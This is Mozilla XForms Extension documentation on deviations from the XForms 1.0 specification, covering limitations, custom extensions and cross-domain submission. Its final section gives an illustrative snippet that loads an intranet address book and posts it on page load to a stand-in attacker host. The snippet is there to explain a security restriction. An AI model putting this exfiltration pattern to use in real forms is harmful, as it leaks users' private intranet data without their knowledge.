Mozilla XForms Specials

Introduction

This article gives an overview of where the Mozilla XForms Extension deviates from the official XForms 1.0 Specification . This covers both limitations in the extension, and custom extensions.

Limitations

Repeat Using Attributes

The specifications mentions "Creating Repeating Structures Via Attributes", this is partially supported.

(limitation tracked in bug 280368)

Mixing Repeat and table or ul

It is not possible to mix repeats with either table or ul. That means that it is not possible to do:

<table>
  <xf:repeat ...>
    <tr> ... </tr>
  </xf:repeat>
</table>

or

<ul>
  <xf:repeat ...>
    <li> ... </li>
  </xf:repeat>
</ul>

Section 9.3.2 states that mixing with table will probably never work. Mixing with ul might suffer from the same limitation.

Pseudo-class support

We currently support all the CSS pseudo-classes in XForms (:enabled, :disabled, etc. ), except for :read-only and :read-write, because of non-specified behaviour of these for (X)HTML. Instead you have to use :-moz-read-only and :-moz-read-write for now.

(limitation tracked in bug 313111)

Pseudo element support

There is no support for the pseudo elements (::value, ::repeat-item, and ::repeat-index ). Instead you will have to use the following normal classes instead:

• xf-value
• xf-repeat-item
• xf-repeat-index

For example, to target the value element of an input control use:

@namespace xf url("http://www.w3.org/2002/xforms");
xf|input .xf-value {
  ...
}

The pseudo elements are defined in the CSS3 Basic User Interface specification .

(limitation tracked in bug 271724)

Optional parameters in XPath functions

Optional parameters in XPath functions are not supported, you will have to specify all parameters when calling a function. This affects functions like hmac() or digest().

Instead of using

digest('abc', 'SHA-1')

explicitly use the third parameter (the results are equal):

digest('abc', 'SHA-1', 'base64')

(limitation tracked in bug 477857)

Extensions

Enumerating Instances

The standardized nsIXFormsModelElement does not allow one to enumerate over all possible instances, but only to retrieve instances by their name. In the Mozilla XForms Extension we added a getInstanceDocuments() function to the model which returns all the model's instance documents. This is documented in nsIXFormsNSModelElement.

Getting To Instance Element From A Data Node

In the XForms 1.0 specification there is no way to get to the instance element from an instance data node. We have added a function via the getFeature() call on each node, that allows the form author to do that. That is, if instanceNode is a node in an instance document, then:

instanceNode.getFeature("org.mozilla.xforms.instanceOwner", "1.0")

will return the <instance> element (in the main document) that the node belongs to.

Getting To The Instance Document From The Instance Element

In the XForms 1.0 specification you have to go through the model element to get to the instance document. It seems a bit awkward if you have the instance element, so we have added a getInstanceDocument() function directly on the instance element as a shortcut. This is documented in nsIXFormsNSInstanceElement.

Custom Control Interface

We have added a lot of functionality to our user interface, which allows the form authors to create custom controls. It involves exposing some (script) functionality on all our controls, like output, input, etc. and allowing the UI to be represented in XBL. More information can be found in XForms:Custom Controls.

labelposition

For xforms:input elements bound to a boolean node we support an attribute labelposition in the namespace http://www.mozilla.org/projects/xfor...009/extensions, which allows the form author to define on which side of the checkbox the label will be shown. For details, see the input control documentation.

Misc

Cross Domain Submission

Not exactly either a limitation, or an extension, but it is worth mentioning here. For security reasons, it is not per default possible for an XForms to submit data to another domain. This is due to security reasons. Information about how to whitelist domain can be found in the Release Notes

The cross domain check also includes forms loaded from file://. Forms loaded from that URL should be local files, and thus trusted, but it is not always the case. So there is not automatic "whitelisting" of local files.

If you are wondering why we have this restriction, here is a simple example of why:

<xforms:model>
  <xforms:instance src="http://intranetserver/addrbook.xml"/>
  <xforms:submission id="sub" action="http://megaspammer.com/gather"
                     method="post"/>
  <xforms:send submission="sub" ev:event="xforms-ready"/>
</xforms:model>

This imaginary would fetch something that is only accessible for you (f.x. behind a firewall) http://intranetserver/addrbook.xml, and send it to http://megaspammer.com/gather as soon as you view the XForm.